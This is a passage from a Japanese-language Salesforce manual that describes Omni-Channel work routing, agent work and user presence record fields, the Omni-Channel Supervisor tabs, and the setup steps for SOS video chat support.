エージェントの作業量、およびエージェントの状況に
関連付けられたサービスチャネルに基づいて、エー
ジェントがいずれかのオブジェクトの作業に適してい
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影響シナリオ

るかどうかを確認します。たとえば、エージェントが
オンラインでケースに対応できる状況の場合、リスト
内にケースがあるかどうかを確認します。
エージェントが対応可能な作業項目がリスト内にある
場合、優先度が最も高い項目がエージェントに転送さ
れます。優先度が同じ項目が複数ある場合は、最も古
い項目が転送されます。

作業項目の再転送
エージェントが作業項目を拒否したり、作業を開始する前に対応不可能になる場合があります。その場合、確
実に対応できる適格なエージェントが見つかるまで作業項目が再転送されます。
まず、Salesforce は自動的に作業項目の所有者をオブジェクトの最初の転送元のキューに変更します。次に、作
業項目を拒否したエージェント (エージェント A) とは異なるエージェント (エージェント B) に対して作業項目
の転送を試みます。ただし、エージェント A の状況が変更された場合、またはエージェント B への作業項目の
転送を少なくとも 1 回試行した場合、作業項目がエージェント A に再転送されることがあります。確実に対応
できる適格なエージェントが見つかるまでこれが繰り返されます。
この方法によって、エージェント、エージェントの作業項目、顧客にとって適切な処理が行われます。

エージェント作業レコードの項目
オブジェクトがオムニチャネル経由でエージェントに転送されるたびに、割り当て作業に関する情報や転送方
法を記録するエージェント作業レコードが Salesforce で作成されます。エージェント作業レコードには、エー
ジェントが操作している割り当て作業に関する情報の追跡に役立つ項目が含まれています。同じ作業項目が複
数回転送されると、その作業項目が複数のエージェント作業レコードに関連付けられます。
エージェント作業レコードには、次の項目があります (アルファベット順に並べてあります)。ページレイアウ
ト設定と項目レベルセキュリティ設定によって、これらの項目には表示できないものや編集できないものがあ
ります。

定義項目

エージェントが作業項目を受け入れた日時。受け入れ日

エージェントが作業項目を拒否したときに、エージェ
ントの対応可能な業務量。

拒否時のエージェント業務量

エージェント作業レコードの Salesforce ID。エージェントの作業 ID

作業項目がエージェントに割り当てられエージェント
のオムニチャネルウィジェットに転送された日時。

割り当て日

作業項目に関連付けられたコンソールタブをエージェ
ントが閉じて、エージェント作業レコードの状況が
「完了」に設定された日時。

完了予定日
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定義項目

作業項目を受け入れたエージェントの名前。作成者

作業項目が作成された日付。作成日

エージェントが作業項目を拒否した日付。拒否日

作業項目が最後に更新された日付。最終更新日

エージェント作業レコードに対してSalesforceで生成さ
れた一意の番号。

名前

エージェントが受け入れ可能な合計業務量に対して作
業項目が占める業務量の比率。

業務率

作業項目の転送元となる Salesforce キュー。キュー

Salesforceがキューに割り当てられ、関連する作業項目
が作成された日時。

要求日

作業項目に関連付けられたサービスチャネル。サービスチャネル

作業項目が作成 (要求日) されてからエージェントが作
業項目を受け入れる (受け入れ日) までの時間 (秒単位)。

応答速度

エージェント作業レコードの状況 ID。有効な値は、
次のとおりです。

状況

• Assigned – 項目はエージェントに割り当てられてい
ますが、まだオープンされていません。

• Opened – 項目はエージェントによってオープンさ
れました。

• Unavailable – 項目はエージェントに割り当てられま
したが、エージェントが対応できなくなりました
(オフラインになっているか、接続が失われてい
る)。

• Declined – 項目はエージェントに割り当てられまし
たが、エージェントが明示的に拒否しました。

• DeclinedOnPushTimeout – 転送タイムアウトが有効に
なっていて、エージェントへの項目要求がタイム
アウトしたため、項目は拒否されました。

• Closed – 項目はクローズされました。
• Canceled – 項目を転送する必要はなくなりました。

たとえば、オムニチャネルで転送されたチャット
要求がエージェントに到達する前にチャット訪問
者が要求をキャンセルした場合などです。
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定義項目

エージェントが受け入れ可能な合計業務量に対して作
業項目が占める業務量の単位。

業務単位

作業項目の転送先となるエージェントの名前。ユーザ

エージェント作業レコードに関連付けられた作業項目
の名前 (「ケース 123456」など)。

作業項目

ユーザプレゼンスレコードの項目

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エージェントがオムニチャネルのプレゼンス状況を変更するたびに、Salesforce

によってユーザプレゼンスレコードが作成され、その状況でログインしている
間はエージェントのすべての活動がログに記録されます。ユーザプレゼンスレ
コードには、エージェントの対応可能状況に関する情報を追跡するのに役立つ
項目があります。
ユーザサービスプレゼンスレコードには、次の項目があります (アルファベット
順)。項目レベルセキュリティ設定によって、これらの項目には表示できないも
のや編集できないものがあります。

定義項目

エージェントが 100% の業務量で作業
していた時間 (秒単位) で、エージェン
トのプレゼンス設定に表示されます。

フル業務量の期間

エージェントの全体的な業務量で、
エージェントのプレゼンス設定に表示
されます。

設定された業務量

オムニチャネルのプレゼンス状況を設
定したエージェントの名前。

作成者

ユーザプレゼンスレコードが作成され
た日付。

作成日

エージェントが作業項目に割り当てら
れていなかった時間 (秒単位)。

アイドル期間

エージェントの状況が [予定あり] かど
うかを示します。

退席中

エージェントの [サービスプレゼンス
状況] 項目のプレゼンス状況がエージェ

現在の状況

ントの現在のプレゼンス状況かどうか
を示します。
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定義項目

ユーザプレゼンスレコードが最後に更新された日付。最終更新日

エージェントがオムニチャネルにログインするために
使用したプレゼンス状況の API 名。

サービスプレゼンス状況

エージェントの状況が、[状況名] 項目に表示されるプ
レゼンス状況に設定されていた時間 (秒単位)。

状況の期間

エージェントがオムニチャネルからログアウトした日
時または別のプレゼンス状況に変更した日時。

状況の終了日

エージェントがプレゼンス状況を設定した日時。状況の開始日

オムニチャネルにサインインしているエージェントの
名前。

ユーザ

自動生成されるユーザプレゼンスレコードのSalesforce

ID。
ユーザプレゼンス ID

エージェントのカスタム名。別名

エージェントの Salesforce ユーザ名。ユーザ名

エージェントがオムニチャネルにログインするために
使用したプレゼンス状況の名前。

状況名

Omni-Channel Supervisor

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisorを使用してリアルタイムのオペレーショナルインテリジェ
ンスにアクセスします。
Omni-Channel Supervisorでは、オムニチャネルのエージェント、キュー、および作
業に関するリアルタイムの情報がパネルにライブでストリーミングされます。
そうです。「ライブ」です。待ち時間、進行中の作業などが表示され、リアル
タイムで更新されます。Omni-Channel Supervisorは継続的に更新されて最新データ
が反映されるため、常にエージェントの状況を把握できます。
エージェント、キューのオムニチャネル活動を監視し、直感的なタブビューを
操作してエージェントの全体的な状況を把握します。絞り込みと並べ替えを活
用すれば、必要な情報が容易に見つかります。また、シームレスにドリルダウ
ンして特定のエージェント、キュー、作業項目の詳細を確認することもできま
す。とても便利ですね。コンソールを離れる必要はありません。
ためらうことなく、Omni-Channel Supervisor をすぐに起動して使用しましょう!

Omni-Channel Supervisor の Salesforce コンソールへの追加
Omni-Channel Supervisor をコンソールに追加して、スーパーバイザを稼働させます。
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Omni-Channel Supervisor のタブの概要
スーパーバイザは Omni-Channel Supervisor の [エージェント]、[キュー]、および [作業] タブを使用して、リア
ルタイムでコールセンターの健全性を確認できます。さらに、状況を調査し、何が進行中で有効か、誰に
何が割り当てられているか、および業務量の空きや顧客の平均待機時間などの他の詳細を確認できます。
Omni-Channel Supervisor での並び替えと絞り込み
Omni-Channel Supervisorのリアルタイムデータを整理し、焦点を絞り込むことで、必要な情報を容易に見つけ
ることができます。

Omni-Channel Supervisor の Salesforce コンソールへの追加

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

オムニチャネルを設定し
てアプリケーションを管
理する
• 「アプリケーションの

カスタマイズ」

Omni-Channel Supervisor をコンソールに追加して、スーパーバイザを稼働させま
す。
Omni-Channel Supervisorをコンソールに追加する前に、次のことを確認してくださ
い。
• オムニチャネルが有効になっていてエージェントが使用できる状態になって

おり、キューが実行されている。
• コンソールアプリケーションが動作している。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーション] を選択します。
2. Omni-Channel Supervisor を追加する Salesforce コンソールアプリケーションの横

にある [編集]をクリックします。または、新しいコンソールアプリケーショ
ンを作成します。スーパーバイザのプロファイルを作成して、スーパーバイ
ザのコンソールのみをカスタマイズできるようにすることをお勧めします。

3. [ナビゲーションタブ項目を選択] セクションで、[オムニスーパーバイザ] を
[選択済みの項目] リストに追加します。

4. このスーパーバイザ対応コンソールに割り当てるプロファイルを選択しま
す。コンソールで Omni-Channel Supervisor を表示するには、選択したプロファ
イルのユーザにタブ表示が設定されている必要があります。

5. [保存] をクリックします。
コンソールを開いて、選択可能なタブを参照し、Omni-Channel Supervisorがコンソールにあることを確認します。
[オムニスーパーバイザ] オプションが表示されています。
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Omni-Channel Supervisor のタブの概要

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

スーパーバイザはOmni-Channel Supervisorの [エージェント]、[キュー]、および [作
業] タブを使用して、リアルタイムでコールセンターの健全性を確認できます。
さらに、状況を調査し、何が進行中で有効か、誰に何が割り当てられているか、
および業務量の空きや顧客の平均待機時間などの他の詳細を確認できます。

[エージェント] タブ
Omni-Channel Supervisor の [エージェント] タブでは、作業中のエージェント、
対応可能なエージェント、予定ありのエージェントを確認できます。
[キュー] タブ
Omni-Channel Supervisor の [キュー] タブを使用してバックログを評価します。
[作業] タブ
Omni-Channel Supervisor の [作業] タブを使用して、キューからエージェントの
コンソールへと送られる作業項目を確認します。
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[エージェント] タブ

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisorの [エージェント] タブでは、作業中のエージェント、対応
可能なエージェント、予定ありのエージェントを確認できます。
[エージェント] タブでは、エージェントのプレゼンス状況、チャネル、割り当て
済みのキュー、業務量の空きに関する最新情報を簡単に確認できます。エージェ
ントがログインしていた時間や新規作業を最後に受け入れたタイミングなども
確認することができます。
[エージェント] タブには、[すべてのエージェント] と [エージェント (キュー別)]

の 2 つのビューがあります。[すべてのエージェント] では、エージェントの対応
可能状況、能力、業務量、ワークロードの全体像を把握できます。このビュー
はエージェントの状況の全体像を把握するのに最適であるため、[エージェント]

タブのデフォルトに設定されています。オムニチャネルウィジェットでログイ
ンしたエージェントが並んで表示されており、各エージェントの状況、チャネ
ル、キュー、ワークロード、業務量を確認できます。

ここでは、[アクション] 列を使用してエージェントの状況を変更することもできます。[オフライン] を選択す
る場合、エージェントの作業が追跡されなくなることに注意してください。
エージェントを選択して [エージェント詳細] および [エージェントのスケジュール] を表示し、エージェントの
状況に関する詳細を確認します。[エージェント詳細] ではエージェントの活動やタイムスタンプに関する詳細
が表示され、[エージェントのスケジュール] では直感的なカレンダービューでエージェントの状況変更や作業
が表示されます。
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[エージェント詳細] ビュー

エージェントのスケジュール

[エージェント (キュー別)] には、どの程度キューがカバーされているのかに関する情報が表示されます。[オン
ライン] または [退席中] になっているエージェントが少なくとも 1 人は含まれている各キューが表示されます。
何人のエージェントがキューに割り当てられていて、そのうち何人のエージェントが [オンライン]、[退席中]、
または [アイドル] になっているのかを確認できます。これにより、新しい作業をカバーするためにエージェン
トを再配置する必要があるかどうかがわかります。
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[エージェント] タブの項目
Omni-Channel Supervisor の [エージェント] タブの項目。

[エージェント] タブの項目

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisor の [エージェント] タブの項目。

[すべてのエージェント] の項目
[エージェント] タブの [すべてのエージェント] ビューには、エージェントの状況
を把握できる情報が表示される項目があります。

説明列

エージェントの氏名。エージェント

オムニチャネルウィジェットで設定し
たエージェントの現在のプレゼンス状
況。

状況

エージェントの状況を変更できます。アクション

エージェントが現在のプレゼンス状況
になっている時間。

状態の継続時間

エージェントがログインして [オンラ
イン] または [予定あり] のオムニチャネ

ログイン以降の経過時間

ル状況になっている時間。これには、
エージェントのオムニチャネルセッ
ション全体の期間 (エージェントがオ
ムニチャネルでオフラインになったと
きやブラウザを閉じたときに終了する)

が反映されます。
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説明列

エージェントが最後に作業項目を明示的または自動的
に受け入れてから経過した時間。

最後の承諾以降の経過時間

エージェント (オンライン状況のエージェント) の関連
するサービスチャネル。対応可能なエージェントが処
理できる作業種別を把握できます。

チャネル

オムニチャネルでエージェントが作業を受け入れると
きに使用できるオムニチャネル対応 Salesforce キュー。

割り当て済みのキュー

現在割り当てられている、またはエージェントが開い
ているすべてのオムニチャネル作業。作業項目の概要
(詳細はポップアップで表示) を確認できます。

作業項目

• 割り当て済み作業項目はエージェントのウィジェッ
トに表示され、承認を待機します。

• オープンの作業項目は受け入れられており、作業
のタブがエージェントのコンソールで開きます。

プレゼンス設定で設定したエージェントの全体的な業
務量に対する、エージェントの割り当て済み作業と

ワークロード

オープンの作業の合計サイズ。作業のサイズは、作業
をエージェントに転送するために使用されるオムニ
チャネル対応キューに関連付けられているルーティン
グ設定で調整します。

[ワークロード] 列から計算されるパーセント。業務量
• 0 ～ 50% の業務量は、緑色のアイコンで表示され

ます。
• 51 ～ 80% の業務量は、黄色のアイコンで表示され

ます。
• 81 ～ 100% の業務量は、赤色のアイコンで表示され

ます。

[エージェント詳細] の項目
[エージェント] タブの [エージェント詳細] ビューには、特定のエージェントの現在の作業に関する情報が表示
される項目があります。

説明列

作業の Salesforce オブジェクト種別 (リード、ケース、
SOS など)。

種別
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説明列

作業項目の詳細なコンテキストを提供するオブジェク
トのプライマリコンパクトレイアウトの情報。

詳細

作業をエージェントに割り当てたり、転送したりする
ために使用されるオムニチャネル対応キュー。

キュー

キューに関連付けられているルーティング設定に基づ
くオムニチャネル作業のサイズ。

作業サイズ

オムニチャネル作業の状況。次のような機能がありま
す。

状況

• 承認を待機しているエージェントのウィジェット
の割り当て済み作業項目

• エージェントに割り当てられ、エージェントのコ
ンソールで開いている作業タブがあるオープンの
作業項目

項目がオムニチャネル対応キューに割り当てられた日
時 (このときに転送がトリガされる)。

要求時間

オムニチャネルで項目がエージェントのオムニチャネ
ルウィジェットに転送および割り当てられた日時。

割り当てられた時間

項目が明示的または自動的に受け入れられた日時。受
け入れられた項目は、エージェントのコンソールで開
きます。

承諾された時間

エージェントが項目を開いていた時間。これは、「現
在時刻」とエージェントが作業を受け入れた時刻の差
を使用して計算されます。

処理時間

作業要求に対するエージェントの応答速度。これは、
作業が要求された時刻とエージェントが作業を受け入
れた時刻の差を使用して計算されます。

応答速度

[エージェント (キュー別)] の項目
[エージェント] タブの [エージェント (キュー別)] ビューには、オムニチャネルキューでエージェントが実行し
ている作業に関する情報が表示される項目があります。

説明列

作業をエージェントに割り当てたり、転送したりする
ために使用されるオムニチャネル対応キューの名前。

キュー

[オンライン] または [退席中] の状態のエージェントが
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説明列

少なくとも 1 人は含まれているキューのみが表示され
ます。

キュー内のエージェントの総数。合計

[オンライン] の状況のエージェントの数。オンライン数

キュー内の [オンライン] の状況のエージェントの割
合。

オンライン率 (%)

[退席中] の状況のエージェントの数。不在数

フル業務中のエージェントの数。フル業務数

キュー内のフル業務中のエージェントの割合。フル業務率 (%)

アイドル状態のエージェントの数。アイドル状態の
エージェントは、現在の作業がなく、消費されている
業務量が 0% です。

アイドル数

キュー内のアイドル状態のエージェントの割合。アイドル率 (%)

キュー内の [オンライン] および [退席中] のエージェン
トの平均業務量。

平均業務量

[キュー] タブ

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisor の [キュー] タブを使用してバックログを評価します。
[キュー] タブの [キューサマリー] ビューを使用して、オムニチャネルキュー内の
活動を時間をかけて把握します。キューの優先度、設定された作業サイズ、種
別、待機時間を確認できます。この全体的な情報により、作業がどの程度効率
的にキューを通過してエージェントに到達しているかを知ることができるため、
効率の良いキューや、オンボードのエージェントをもう少し増やすことができ
るキューを判断できます。
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[キューの詳細] ビューで特定のキューの詳細を表示して、設定、対応可能なエージェント、待機時間、作業項
目を確認できます。多くのエージェントが表示されるが作業がそれほど多くない場合、エージェントを別の
キューに移動することができます。逆にエージェントの数が少なく、待機時間が長い場合は、応援を要請する
ことができます。

[キュー] タブの項目
Omni-Channel Supervisor の [キュー] タブの項目です。

[キュー] タブの項目

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisor の [キュー] タブの項目です。

[キューサマリー] の項目
[キュー] タブの [キューサマリー] ビューには、エージェントの状況を知らせる項
目が含まれています。

説明列

作業をエージェントに割り当てたり、
転送したりするために使用されるオム
ニチャネル対応キュー。
キューの名前をクリックすると、その
詳細を確認できます。

キュー
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説明列

ルーティング設定に基づくキューの優先度。優先度

ルーティング設定に基づく、キュー内の作業項目のサ
イズ。

作業サイズ

作業の Salesforce オブジェクト種別 (リード、ケース、
SOS など)。

種別

オムニチャネルキューに現在割り当てられている項目
のうち、対応可能なエージェントを待機している項目
の合計数。

合計待機時間

最も長く待機している時間。最長待機時間

キューに現在割り当てられているすべての項目の平均
待機時間。

平均待機時間

[キューの詳細] の項目
[キュー] タブの [キューの詳細] ビューには、キュー内の作業項目に関する情報を提供する項目が含まれます。

説明列

キュー内の作業項目の位置。位置

作業の Salesforce オブジェクト種別 (リード、ケース、
SOS など)。

種別

作業項目の詳細なコンテキストを提供するオブジェク
トのプライマリコンパクトレイアウトの情報。

詳細

作業項目がエージェントを待機している時間。この時
間は、「今」の時間と項目の要求時間との差を使用し
て計算されます。

待機時間

項目がキューに割り当てられた日時。要求時間
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[作業] タブ

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisorの [作業] タブを使用して、キューからエージェントのコン
ソールへと送られる作業項目を確認します。
[作業] タブの [作業サマリー] ビューを使用して、キュー内の作業の詳細を確認し
ます。各キューで処理できる作業の種別が、そのアクティブな作業項目の状況
と共に表示されます。

キュー内の状況をさらに詳しく確認する必要がある場合は、キューをクリックして [作業の詳細] を表示しま
す。

[作業] タブの項目
Omni-Channel Supervisor の [作業] タブの項目です。
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[作業] タブの項目

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisor の [作業] タブの項目です。

[作業サマリー] の項目
[作業] タブの [作業サマリー] ビューには、作業項目の処理状況を示す項目が含ま
れます。

説明列

作業をエージェントに割り当てたり、
転送したりするために使用されるオム
ニチャネル対応キュー。
キューをクリックすると、その作業の
詳細を確認できます。

キュー

作業の Salesforce オブジェクト種別 (リー
ド、ケース、SOS など)。

種別

割り当て済みであり、エージェントの
オムニチャネルウィジェット内で受領
確認を待機している項目の合計数。

割り当て済み

受入れ済みであり、エージェントのコ
ンソールでオープンしている項目の合
計数。

オープン

エージェントのオープン項目がオープ
ンしていた時間の平均。この時間は、

平均処理時間 (AHT)

「今」の時間と項目が受け入れられた
時間との差を使用して計算されます。

エージェントが項目を受け入れるまで
の項目の待機時間の平均。この時間

平均応答速度 (ASA)

は、作業が要求されてから受け入れら
れるまでの時間を使用して計算されま
す。
エージェントが作業項目を受け入れる
と、その項目はこの計算から除外され
ます。

[作業の詳細] の項目
[作業] タブの [作業の詳細] ビューには、キュー内の作業項目に関する情報を提供する項目が含まれます。
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説明列

作業の Salesforce オブジェクト種別 (リード、ケース、
SOS など)。

種別

作業項目の詳細なコンテキストを提供するオブジェク
トのプライマリコンパクトレイアウトの情報。

詳細

作業に割り当てられたエージェントの名前。エージェント

項目がキューに割り当てられた日時。要求時間

オムニチャネルで項目がエージェントのオムニチャネ
ルウィジェットに転送および割り当てられた日時。

割り当てられた時間

エージェントで項目がオープンしていた時間。これ
は、「現在時刻」とエージェントが作業を受け入れた
時刻の差を使用して計算されます。

処理時間

割り当てられた項目をエージェントがオープンするま
での時間。作業が要求されてからエージェントが受け
入れるまでの時間として計算されます。

応答速度

Omni-Channel Supervisor での並び替えと絞り込み

エディション

使用可能なエディション:
Salesforce Classic

オムニチャネルを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Omni-Channel Supervisorのリアルタイムデータを整理し、焦点を絞り込むことで、
必要な情報を容易に見つけることができます。
これまでOmni-Channel Supervisorで提供される情報について説明してきました。こ
こでは、この素晴らしいすべてのデータを最適化し、探している情報をすばや
く見つけることができるようにする方法について説明します。特定のエージェ
ント、キュー、作業種別、業務率などを表示するようにテーブルを絞り込み、
並べ替えを使用してその情報をまとめます。
絞り込みを使用して画面に表示する情報を減らし、必要な情報にすばやくアク
セスします。たとえば、特定のエージェントチームに関する情報を表示する場
合は、[すべてのエージェント] ビューに移動して、対象のエージェントのみを検
索条件で選択します。同じグリッドに複数の検索条件を適用することもできま
す。エージェントの進行中のリードから、待機時間が 5 分を超える階層 1 キュー
のオープンケースにシームレスに移動します。
並べ替えを使用して列を昇順または降順で整理します。たとえば、最後に作業を受け入れたオンラインエー
ジェントを確認する場合、[すべてのエージェント] ビューを絞り込んで [オンライン] 状況になっているエー
ジェントのみを表示し、[最後の承諾以降の経過時間] 列を昇順で並べ替えます。
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作業を最近受け入れたオンラインエージェントが画面の上部に表示されます。可能性は好奇心と同様に無限大
です。

ビデオチャットおよび画面共有の設定
エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

まったく新しい方法で顧客とのやりとりを希望される場合、SOS は Service Cloud

のモバイルサポートソリューションとなります。SOS では、iOS または Android の
ネイティブモバイルアプリケーションにヘルプボタンを追加して、一方向ビデ
オまたは双方向音声チャットにより顧客がエージェントとやりとりできます。
名前も顔もわからないエージェントと顧客が電話でやりとりしなければならな
い時代は終わりました。顧客は 1 回クリックするだけで、画面共有および注記
を使用してパーソナライズされたアプリケーション内ガイダンスを提供するエー
ジェントとビデオチャットできます。
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SOS は、Service Cloud の Salesforceコンソールに統合されています。エージェントは、ビデオコール中にケース、
アカウントレコード、顧客情報にすばやく簡単にアクセスできます。また、エージェントは SOS セッション中
に顧客の画面を引き出して、問題を解決するためのアプリケーション内ガイダンスを顧客に提供することもで
きます。顧客には包括的な個人サポート環境が提供され、エージェントには顧客の問題を解決するために必要
な情報がコンソールで提供されます。
さらに、SOS は Service Cloud の転送エンジンであるオムニチャネルに完全に統合されています。オムニチャネル
を使用して、SOS ビデオコールを含めた作業項目をエージェントに転送する方法をカスタマイズします。SOS

コールは、組織内で最も対応可能なエージェントにリアルタイムで転送されます。サードパーティの転送エン
ジンは必要ありません。
モバイルアプリケーションへの SOS の統合についての詳細は、SOS iOS SDKを参照してください。
SOS を設定する前に、組織でオムニチャネルを有効化します。

1. エージェントへの SOS ライセンスの割り当て
SOS を使用する各エージェントは、SOS ライセンスを持ち、SOS ライセンスを有効にする権限セットに属し
ている必要があります。
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2. SOS ライセンスの有効化
権限セットを使用して、ユーザの SOS ライセンスを有効にします。

3. SOS プレゼンス状況の作成
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入れ可能か、退席中あるいは
オフラインかを示します。エージェントがオンラインであり SOS コールを受信できることを示すプレゼン
ス状況を作成します。

4. 権限セットを使用した SOS プレゼンス状況へのユーザアクセスの許可
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入れ可能か、退席中あるいは
オフラインかを示します。SOS エージェントに SOS プレゼンス状況へのアクセスを許可し、SOS エージェン
トが SOS コールの受信を開始できるようにします。

5. プロファイルを使用した SOS プレゼンス状況へのユーザアクセスの許可
プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入れ可能か、退席中あるいは
オフラインかを示します。SOS エージェントに SOS プレゼンス状況へのアクセスを許可し、SOS エージェン
トが SOS コールの受信を開始できるようにします。

6. SOS ルーティング設定の作成
ルーティング設定により、作業項目のエージェントへの転送方法が決まります。ルーティング設定では、
キュー内の作業項目の相対的な重要性とサイズの優先度を付けることができます。この設定により、最も
重要な作業項目が優先的に処理され、作業がエージェントに均等に分散されます。SOS コールがエージェン
トに分散される方法を決定する SOS ルーティング設定を作成します。

7. SOS キューの作成
キューは Salesforce の典型的な要素で、チームがリード、ケース、サービス契約、およびカスタムオブジェ
クトを管理するうえで役立ちます。オムニチャネルによりキューが大幅に向上し、作業項目がエージェン
トにリアルタイムで転送されます。SOS コールを SOS エージェントに提供する SOS キューを作成します。以
前に作成した SOS ルーティング設定に SOS キューを関連付けます。

8. Salesforce コンソール設定の更新
SOS を組織向けにすべて設定したら、次に Salesforce コンソールでいくつか設定を行い、エージェントが作
業の受け入れを開始できるようにします。

9. SOS リリースの作成
SOS 設定を Salesforce からモバイルアプリケーションに統合する SOS リリースを作成します。
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エージェントへの SOS ライセンスの割り当て

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

SOS を使用する各エージェントは、SOS ライセンスを持ち、SOS ライセンスを有
効にする権限セットに属している必要があります。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. SOS ライセンスを割り当てるユーザを選択します。
3. [権限セットライセンスの割り当て] をクリックします。
4. [割り当ての編集] をクリックします。
5. [SOS ユーザ] の [有効] チェックボックスをオンにします。
6. [保存] をクリックします。

SOS ライセンスの有効化

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

権限セットを使用して、ユーザの SOS ライセンスを有効にします。
権限セットには、SOS ライセンスを割り当てられたユーザのみを追加できます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. SOS 権限セットを選択します。

SOS 権限セットがない場合は作成します。[ユーザライセンス]でなしを選択
します。

3. [アプリケーション権限] をクリックします。
4. [編集] をクリックします。
5. [SOS ライセンスの有効化] を選択します。
6. [保存] をクリックします。
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SOS プレゼンス状況の作成

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。エージェントがオンライ
ンであり SOS コールを受信できることを示すプレゼンス状況を作成します。
1 つのプレゼンス状況は 1 つ以上の作業項目のチャネルに関連付けることができ
ます。SOS プレゼンス状況を SOS サービスチャネルに関連付けます。このように
すると、SOS プレゼンス状況でエージェントがサインインしているときに、SOS

コールを受信できます。
1. [設定] から、[クイック検索] ボックスに「プレゼンス」と入力し、[プレゼン

ス状況] を選択して [新規] をクリックします。
2. 状況に名前を付けます。

たとえば、「SOS に対応可能」という名前にしてみましょう。この名前のバー
ジョンは、自動的に API 参照名になります。

3. [状況オプション] セクションで、[オンライン] を選択します。
4. [サービスチャネル] セクションで、SOS を [選択済みのチャネル] リストに追加

します。
5. [保存] をクリックします。

権限セットを使用した SOS プレゼンス状況へのユーザアクセスの許可

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

権限セットを変更する
• 「プロファイルと権限

セットの管理」

プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。SOS エージェントに SOS プ
レゼンス状況へのアクセスを許可し、SOS エージェントが SOS コールの受信を開
始できるようにします。
または、プロファイルを使用して、プレゼンス状況へのアクセス権をユーザに
付与することもできます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. SOS エージェントを含む権限セットの名前をクリックします。
3. [サービスプレゼンス状況のアクセス権] をクリックします。
4. [編集] をクリックします。
5. 以前に作成した SOS プレゼンス状況「SOS に対応可能」を選択します。
6. [保存] をクリックします
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プロファイルを使用した SOS プレゼンス状況へのユーザアクセスの許可

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

プロファイルを変更する
• 「プロファイルと権限

セットの管理」

プレゼンス状況は、エージェントがオンラインで、受信した作業項目を受け入
れ可能か、退席中あるいはオフラインかを示します。SOS エージェントに SOS プ
レゼンス状況へのアクセスを許可し、SOS エージェントが SOS コールの受信を開
始できるようにします。
または、権限セットを使用して、プレゼンス状況へのアクセス権をユーザに付
与することもできます。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. SOS エージェントを含むプロファイルの名前をクリックします。

プロファイル名の横にある [編集]をクリックしないでください。クリックす
ると、状況を有効にできる適切なページセクションが表示されません。

3. [有効なサービスプレゼンス状況アクセス] セクションで、[編集] をクリック
します。

4. プロファイルに関連付ける SOS プレゼンス状況「SOS に対応可能」を選択し
ます。

5. [保存] をクリックします

SOS ルーティング設定の作成

エディション

使用可能なエディション:
Salesforce Classic

有料オプションで SOS を
使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

SOS を設定する
• 「アプリケーションの

カスタマイズ」

